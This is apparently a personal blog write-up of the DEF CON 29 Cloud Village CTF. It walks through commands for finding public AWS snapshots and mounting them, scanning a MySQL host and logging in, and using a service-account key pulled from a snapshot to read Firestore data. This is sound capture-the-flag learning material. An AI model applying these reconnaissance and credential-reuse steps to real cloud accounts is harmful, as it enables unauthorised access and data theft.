DEF CON 29 - Cloud Village CTF

The Cloud Village CTF at DEF CON 29 was challenging and educational. Strupo_ flew solo and the event ended with Welcome Thrillhouse Group in 16th place.

There were four groups of challenges with 11 challenges in total. Strupo_ solved three challenges during the event, one after the event, and made some semblance of progress on a few of the others. 

For the few challenges solved; the write-ups are enough for a complete walk-through. 

Concerning the rest, some limited notes were outlined but not expanded upon so that this post stays relatively short.

Let's get into it.

Like Duh!

Level 0 - Play this first (100)

"Hello everyone,

The flag format for all the challenges is of the following format.

    The string FLAG-{ followed by 32 characters that look like Base64, closed with a }
    The flag format is this exact string format
    The flag is case sensitive
    Submitting anything else/any other format shows that you have not read or understood this message :(

For example, the flag for this challenge is

FLAG-{shhvAcns046wmQRYEC2dFsRJjESSHyym}"

Self explanatory.

Piece of Cake!

Full of malice, Alice! (200)

Alice is our newest IT administrator on the west coast. She is very hardworking and fiercely loyal. To the extent that we did not think she was involved in exfiltrating "secret" data from our AWS cloud.

We are still unsure how she is doing it, but it appears to involve some form of public sharing of resources that folks on the Internet can bid on.

So far, we havn't had any luck. Can you find the resource that Alice has exposed, find the flag within and help us shutdown her insidious operation?

For this one, I guessed a description term using wildcards because they can be anything and nothing:

for REGION in $(aws ec2 describe-regions --output text --query 'Regions[].[RegionName]') ; do echo "$REGION:";  aws ec2 describe-snapshots --region $REGION --filters Name=description,Values=*cloud*village*; done
<snip>
us-west-2:
{
    "Snapshots": [
        {
            "Description": "cloud village secret",
            "Encrypted": false,
            "OwnerId": "154758782188",
            "Progress": "100%",
            "SnapshotId": "snap-035c3a9cd3122723d",
            "StartTime": "2021-07-31T21:08:54.831Z",
            "State": "completed",
            "VolumeId": "vol-0a7a822ede77afc3f",
            "VolumeSize": 8
        }
    ]
}
<snip>

Next I copied the snapshot, created a volume, launched an instance in the same AZ, and attached it to my newly created instance.

Next, I SSH'd into my instance, mounted the volume, and found the flag:

$ lsblk
NAME MAJ:MIN RM SIZE RO TYPE MOUNTPOINT
xvda 202:0 0 8G 0 disk
└─xvda1 202:1 0 8G 0 part /
xvdf 202:80 0 8G 0 disk
└─xvdf1 202:81 0 8G 0 part
$ mkdir alice
$ sudo mount /dev/xvdf1 alice
$ sudo grep -R FLAG- alice/root/

alice/root/.viminfo:'0 1 38 /home/ubuntu/FLAG-{YTSytewgXXSW3265325632DFDFFGFgdg}.txt
<snip>

Sweating it out!

Foreign Conspiracy? (300)

Bob is one of our most honest and cautious employees based out of our Singapore office. He has been managing a bunch of our resources and likes to keep things locked down. But, alas he still looks at the cloud world from the point of view of legacy networks and thinks restricting users at the perimeter is the best way to deal with attackers.

Can you help us find the flag, please? You can start with this domain - foreign.cloud-village.org

Initial reconnaissance returned no open ports and indicated the instance was located in us-east-1:

# dig foreign.cloud-village.org
<snip>
;; ANSWER SECTION:
foreign.cloud-village.org. 375  IN      CNAME   cloudvillagectf-level10.cr210mrajezb.us-east-1.rds.amazonaws.com.
cloudvillagectf-level10.cr210mrajezb.us-east-1.rds.amazonaws.com. 15 IN CNAME ec2-52-87-138-229.compute-1.amazonaws.com.
ec2-52-87-138-229.compute-1.amazonaws.com. 4502 IN A 52.87.138.229
<snip>

However, sourcing traffic from the same region returned no results. The challenge specifically called out Singapore so I logged into the console and switched my region to ap-southeast-1 and created a kali instance and ran a fast port scan:

ping foreign.cloud-village.org

PING ec2-52-87-138-229.compute-1.amazonaws.com (52.87.138.229) 56(84) bytes of data.

^C

--- ec2-52-87-138-229.compute-1.amazonaws.com ping statistics ---

1 packets transmitted, 0 received, 100% packet loss, time 0ms                                                                          

┌──(kali㉿kali)-[~]

└─$ nmap -F --open -Pn 52.87.138.229      

<snip>

3306/tcp open  mysql


My time over the weekend for this event was limited and I wasn't feeling a password spray so I paid for the hint offered with the challenge and figured out the username and password for the mysql login was dbuser:dbuser. Good thing too because that username wasn't in any of my go-to username lists.

Then, it was simply a matter of finding the flag in the database:


$ mysql -u dbuser -h foreign.cloud-village.org -p

Enter password: 

Welcome to the MariaDB monitor.  Commands end with ; or \g.

Your MariaDB connection id is 594013

Server version: 10.4.13-MariaDB-log Source distribution


Copyright (c) 2000, 2018, Oracle, MariaDB Corporation Ab and others.


Type 'help;' or '\h' for help. Type '\c' to clear the current input statement.


MariaDB [(none)]> show databases;

+--------------------+

| Database           |

+--------------------+

| cloudvillage       |

| information_schema |

+--------------------+

2 rows in set (0.22 sec)


MariaDB [(none)]> use cloudvillage;

Reading table information for completion of table and column names

You can turn off this feature to get a quicker startup with -A


Database changed

MariaDB [cloudvillage]> show tables;

+------------------------+

| Tables_in_cloudvillage |

+------------------------+

| flagtable              |

+------------------------+

1 row in set (0.23 sec)


MariaDB [cloudvillage]> select * from flagtable;

+-----------------------------------------+

| flag                                    |

+-----------------------------------------+

| FLAG-{JVkxfg18MwM2iUKdSGiVym24kawHkuKW} |

+-----------------------------------------+

1 row in set (0.23 sec)

Mr. Miyagi learns to code! (300)

Mr. Miyagi is busy these days. After teaching a lot of deserving students, he has now in turn become the student. He is learning to code!

His most recent assignment was to build a simple encryption decryption program. Although, that hints to Mr. Miyagi being security conscious, turns out he isn't. Clearly embedding credentials in code, leaking them in places that you would shy away from, Mr. Miyagi clearly needs a lesson in security.

Can you find the flag that Mr. Miyagi has hidden away on a machine backup in AWS?

You can start at the site that Mr. Miyagi has built as part of his assignment - http://olympics.cloud-village.org:8000/

nslookup 54.65.180.141
141.180.65.54.in-addr.arpa      name = ec2-54-65-180-141.ap-northeast-1.compute.amazonaws.com.

Fernet key in response header. analyzed using https://asecuritysite.com/encryption/fer
Enabled Tokyo region, performed snapshot hunt:

aws ec2 describe-snapshots --owner-id 154758782188 --region=ap-northeast-1
{
    "Snapshots": [
        {
            "Description": "backup-august-2021",
            "Encrypted": false,
            "OwnerId": "154758782188",
            "Progress": "100%",
            "SnapshotId": "snap-08a22519846486e2c",
            "StartTime": "2021-08-02T08:03:44.514Z",
            "State": "completed",
            "VolumeId": "vol-0624ca2bd196f950e",
            "VolumeSize": 10
        }
    ]
}

Found django secret key.
Reviewed sqlite database.
No hashes/sessions/creds found.
Unsuccessful in forging tokens. 

The German Born American Patriot! (400)

Edward was a shy person. He had moved to the US from Maintal, Germany in the summer of 2015 and had soon come to accept this country as his own. He barely spoke to anyone, he would come in, stick to his schedule, and leave on time. The only time we had seen him celebrating was the July fireworks of 2017. He did not seem to be someone who would disrupt operations. Which is why we were all surprised to find him missing with the company flag file.

Turns out he was planning this for quite sometime now. He left us a ransom note, some part of which was destroyed when the janitor tried to handle it. A scanned copy of the ransom note and the script he used to generate the name of the storage is kept here - s3://mission-report-incident2017/

Can you help us find the flag so that we can do our taxes and go home?

$ aws s3 ls s3://mission-report-incident2017/data/
2021-07-23 11:20:51          0 
2021-07-23 11:21:40       4324 redacted-ransom.jpg
2021-07-23 11:21:38        407 spacesnamer.py

$ aws s3 sync s3://mission-report-incident2017/data/ .
download: s3://mission-report-incident2017/data/spacesnamer.py to ./spacesnamer.py
download: s3://mission-report-incident2017/data/redacted-ransom.jpg to ./redacted-ransom.jpg

Based on the script and the established characters from the image (laofpho) I inferred the keyspace of [a..p] and that the bucket name would be 12 characters long. 

Reviewed the image, attempted to identify candidates for last two characters. Inconclusive.

Assumed digital ocean spaces was the target. leveraged: https://github.com/appsecco/spaces-finder.git

Modified code to only target these regions:
regions = ['nyc1', 'nyc2', 'nyc3', 'sfo2', 'sfo1']

Created large list of permutations, decided this was a bad approach given the amount of regions and stopped.

On a guided tour! (400)

This is a guided tour. You can begin here - https://prod.d3m9npb15pqx4b.amplifyapp.com/

Not attempted.

The Legacy IT Admin (500)

Peter Parker likes to hide his flags on the interwebs. He has taken a new liking to GCP due to their advertised security features. Like the requirement of a header to query the instance metadata server for example.

But Peter Parker has selective hearing and still applies his old legacy way of thinking. He relies on hiding things in plain sight and laughing when the goons of Oscorp are unable to reach them. We managed to find and read the contents of a file called legacy-it-instance.txt in a bucket called my-legacy-bucket but can't seem to move forward from here.

Can you help us figure out a way forward using the contents of this file? And hopefully get to the flag before the Green Goblin does?

$ gsutil cp gs://my-legacy-bucket/legacy-it-instance.txt .
$ cat legacy-it-instance.txt
<snip>

Contains interesting links and a username:
63943480473-compute@developer.gserviceaccount.com

Basically all the links in file returned:
{
  "error": {
    "code": 401,
    "message": "Request is missing required authentication credential. Expected OAuth 2 access token, login cookie or other valid authentication credential. See https://developers.google.com/identity/sign-in/web/devconsole-project.",
    "errors": [
      {
        "message": "Login Required.",
        "domain": "global",
        "reason": "required",
        "location": "Authorization",
        "locationType": "header"
      }
    ],
    "status": "UNAUTHENTICATED"
  }
}
Guessed at bucket content names like spiderman.json, passwords.txt, etc.
Attempted to pivot on snapshots.
Probably should have performed more OSINT and a credential hunt.

You Pub, I Sub! (500)

Being really new to pub/sub, Professor Dumbledore, is excited about sending messages to anyone who subscribes to his topic! Professor McGonagall is just worried he might send you the flag if you use the correct email address!

Let's try and trick Professor Dumbledore into sending us the flag! Rita Skeeter was able to find out that Professor Dumbledore is a big AWS fan with the account number 154758782188, his topic of discussion for the last several weeks has been cloudvillage2021 and is currently visiting his friend Newt Scamander in the US state with the nickname of Nova.

Not attempted.

WTF is this?

Fiery Storage (600)

Mr. Pierre is an arrogant IT administrator. And he has just started learning to play around with the cloud! But guess what? Though he shares his name with the famous French scientist, he is nowhere as smart as he thinks he is.

Just last week Mr. Pierre created a server on AWS in a region he wishes he was born in. And used that to access a storage service on GCP. According to him this is the best way to securely communicate with GCP services. This makes no sense obviously, but hey as we said, can't argue with crazy. To top it all, he has challenged us to find the flag using the AWS machine that he has setup (and backed up) on the cloud.

Could you help us with this challenge, please? AWS would be a good place to start, I guess.

To begin, I found a snapshot by keying in on terms in the challenge. If my memory is accurate the result from the command below is from a region, like some of the asia-pacific regions, that needs to be enabled. Otherwise the following command will not query the region and you would have missed the snapshot:

# for REGION in $(aws ec2 describe-regions --output text --query 'Regions[].[RegionName]') ; do echo "$REGION:";  aws ec2 describe-snapshots --region $REGION --filters Name=description,Values=*pierre*; done
<snip>
}
eu-west-3:
{
    "Snapshots": [
        {
            "Description": "aws-gcp-pierre-curie-smarty-pants",
            "Encrypted": false,
            "OwnerId": "154758782188",
            "Progress": "100%",
            "SnapshotId": "snap-098c135611a2f7fac",
            "StartTime": "2021-07-26T18:31:47.015Z",
            "State": "completed",
            "VolumeId": "vol-042ff61dbb5cb8220",
            "VolumeSize": 8
        }
    ]
}
<snip>

Per usual, I copied the snapshot and mounted it on an instance and began pillaging the filesystem. 
While reviewing the contents I found this entry in the .viminfo file:

# cat .viminfo
<snip>
# File marks:
'0  13  0  ~/.config/cloudvillage2021-0728d0c85985.json
|4,48,13,0,1627323667,"~/.config/cloudvillage2021-0728d0c85985.json"
<snip>

I then cat'd out the cloudvillage2021-0728d0c85985.json file and found credential material for a service account in the "cloudvillage2021" GCP project:

{
  "type": "service_account",
  "project_id": "cloudvillage2021",
  "private_key_id": "0728d0c85985c391a501eb6406a7b4a32167a1e1",
  "private_key": "-----BEGIN PRIVATE KEY-----\nMIIEvQIB<snip>1z0k=\n-----END PRIVATE KEY-----\n",
  "client_email": "gcp-datastore-read@cloudvillage2021.iam.gserviceaccount.com",
  "client_id": "110084574536161776190",
  "auth_uri": "https://accounts.google.com/o/oauth2/auth",
  "token_uri": "https://oauth2.googleapis.com/token",
  "auth_provider_x509_cert_url": "https://www.googleapis.com/oauth2/v1/certs",
  "client_x509_cert_url": "https://www.googleapis.com/robot/v1/metadata/x509/gcp-datastore-read%40cloudvillage2021.iam.gserviceaccount.com"
}

Next, I logged into my GCP account and created a copy of the .json file in my cloud shell session.

Then, I activated the use of the new identity and performed some basic reconnaissance as seen below:

$ gcloud auth activate-service-account "gcp-datastore-read@cloudvillage2021.iam.gserviceaccount.com" --key-file=cloudvillage2021-0728d0c85985.json

$ gcloud auth list
                       Credentialed Accounts
ACTIVE  ACCOUNT
*       gcp-datastore-read@cloudvillage2021.iam.gserviceaccount.com


$ gcloud projects list
PROJECT_ID        NAME              PROJECT_NUMBER
cloudvillage2021  CloudVillage2021  709294979433
$ gcloud config set project "cloudvillage2021"
Updated property [core/project].

$ gsutil ls
AccessDeniedException: 403 gcp-datastore-read@cloudvillage2021.iam.gserviceaccount.com does not have storage.buckets.list access to the Google Cloud project.

At this point, I ran the permissions check script from the Thunder-CTF github repo:

$ python3 ./test-permissions.py ~/cloudvillage2021-0728d0c85985.json
cloudvillage2021
JSON credential: /home/strupo_/cloudvillage2021-0728d0c85985.json
['appengine.applications.get', 'datastore.databases.get', 'datastore.databases.list', 'datastore.entities.get', 'datastore.entities.list', 'datastore.indexes.get', 'datastore.indexes.list', 'datastore.namespaces.get', 'datastore.namespaces.list', 'datastore.statistics.get', 'datastore.statistics.list', 'resourcemanager.projects.get']

I began going over all the gcloud documentation I could concerning datastore and firestore but I really hit a wall here.

I decided that firestore was going to get me the flag given the challenge name and ran the following commands:

$ gcloud firestore indexes fields list
---
name: projects/cloudvillage2021/databases/(default)/collectionGroups/__default__/fields/*

$ gcloud firestore indexes fields describe
┌───────┬──────────────────┐
│ FIELD │ COLLECTION_GROUP │
├───────┼──────────────────┤
│ *     │ __default__      │
└───────┴──────────────────┘
    ┌────────────────┐
    │ ANCESTOR_FIELD │
    ├────────────────┤
    │                │
    └────────────────┘
    ┌─────────────────────────────────────────────────┐
    │                     INDEXES                     │
    ├────────────┬──────────────┬─────────────┬───────┤
    │   ORDER    │ ARRAY_CONFIG │ QUERY_SCOPE │ STATE │
    ├────────────┼──────────────┼─────────────┼───────┤
    │ ASCENDING  │              │ COLLECTION  │ READY │
    │ DESCENDING │              │ COLLECTION  │ READY │
    │            │ CONTAINS     │ COLLECTION  │ READY │
    └────────────┴──────────────┴─────────────┴───────┘

At this point I ran a ton more commands, mostly unrelated, and got nowhere. I hit the wall even harder this time and even though I paid for some hints, unfortunately, they offered no new information. 

After the event ended, I revisited this challenge and found a tool called "fuego" that might help me do more with firestore and the datastore permissions I had.

I installed the tool per the instructions and performed the following steps to get the flag:

$ fuego --credentials ../cloudvillage2021-0728d0c85985.json collections
flag

$ fuego --credentials ../cloudvillage2021-0728d0c85985.json query flag
[
{
    "CreateTime": "2021-07-26T10:35:19.62157Z",
    "Data": {
        "flagvalue": "FLAG-{ihRDzPcjv9c5DiHgsRRFOBq5ryvsmO6D}"
    },
    "ID": "5ViHjhm4B2lcMwXqLm8Z",
    "ReadTime": "2021-08-09T14:10:11.400484Z",
    "UpdateTime": "2021-07-26T10:35:19.62157Z"
}
]

Ali Baba and the unreadable flag! (700)

Zhang Wei always wanted to be an astronaut and is very proud of the space probes his country has sent to Mars. So proud infact that although he lives in North Virginia, in the US, he still names all his cloud artifacts using names from his country's space program.

Take the example of his storage on his favorite cloud. As expected from a non security conscious admin, Zhang has the habit of using obscurity to hide o prevent access to his data. You will see what I'm saying. He has the flag visible in broad daylight but you will not be able to access it. The headers should give you some information but that's all I'm allowed to say.

Can you read the flag.txt and teach Zhang a good security lesson?
Extra Info:

There are two files in the bucket

    flag.txt
    missing-headers.txt

Not attempted.

Pride and Prejudice (700)

Edgar Melon Joe from our Cloud Operations team has such an inflated ego, that we all wonder how does he hold his head on his shoulders. For starters he thinks he is the most intelligent amongst his peers and keeps setting up challenges for us he thinks we will never be able to solve while the clock is running.

Take for example, this month's challenge is to find the flag somewhere on his cloud infra. He has asked us to use the domain intelligent.cloud-village.org to get started and find his storage that will show the way forward. Also there are rumors that you can't access the storage if you don't come from the correct website.

We are crowdsourcing the efforts on this across all our departments. We want to show there is no space for Edgar's ego in a our civilized organisation.

Can you help us in this quest? Find the flag before the rest?

Not attempted

Conclusion

Not attending DEF CON this year (and last) was a real bummer. I long for the days where I can go CTF in person. My hope is that next year I'm there, the team is together, and we can be a real contender in the Cloud Village's CTF. I felt the challenges were interesting, high-quality, and overall a great learning opportunity. 

Thank you to everyone over at @cloudvillage_dc - I look forward to what you have in-store for us next year.

Thanks for reading!

@strupo_

Find us on twitter: @teamWTG

Popular posts from this blog

The Audacity of Some CTFs

Code Name: Treehouse of Horror CTF

2020 HTH CTF - Cloud Challenges